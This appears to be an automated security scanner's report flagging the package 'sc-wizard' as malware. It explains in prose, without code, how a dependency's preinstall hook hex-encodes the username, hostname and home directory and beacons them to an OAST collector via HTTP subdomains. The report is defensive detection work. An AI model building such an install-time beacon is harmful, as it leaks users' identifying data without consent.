AI Security Review

scanned 3d ago · by lpm-firewall-ai

The inspected source establishes an automatic install-time disclosure of identifying machine and user data to an unrelated collector. This meets the installation beacon block criterion.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing sc-wizard and running the remote dependency's preinstall hook.

Impact

The collector can receive identifying information about the machine and user during installation.

Mechanism

The hook hex-encodes the username, hostname, and home directory, then places each value in an HTTP request subdomain.

Attack narrative

Installing the package invokes the remote dependency’s preinstall hook, which runs test.js. That script hex-encodes the local username, hostname, and home directory and sends each value in an HTTP request to an OAST collector host, without a consent gate.

AI rationale

The inspected source establishes an automatic install-time disclosure of identifying machine and user data to an unrelated collector. This meets the installation beacon block criterion.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package depends on a remote tarball whose preinstall hook runs test.js.
The hook collects the username, hostname, and home directory, hex-encodes them, and calls the reporting function for each value.
The reporting function places each value in an HTTP URL subdomain under an OAST collector host.
The dependency sends an HTTP GET request to that URL without a consent check.
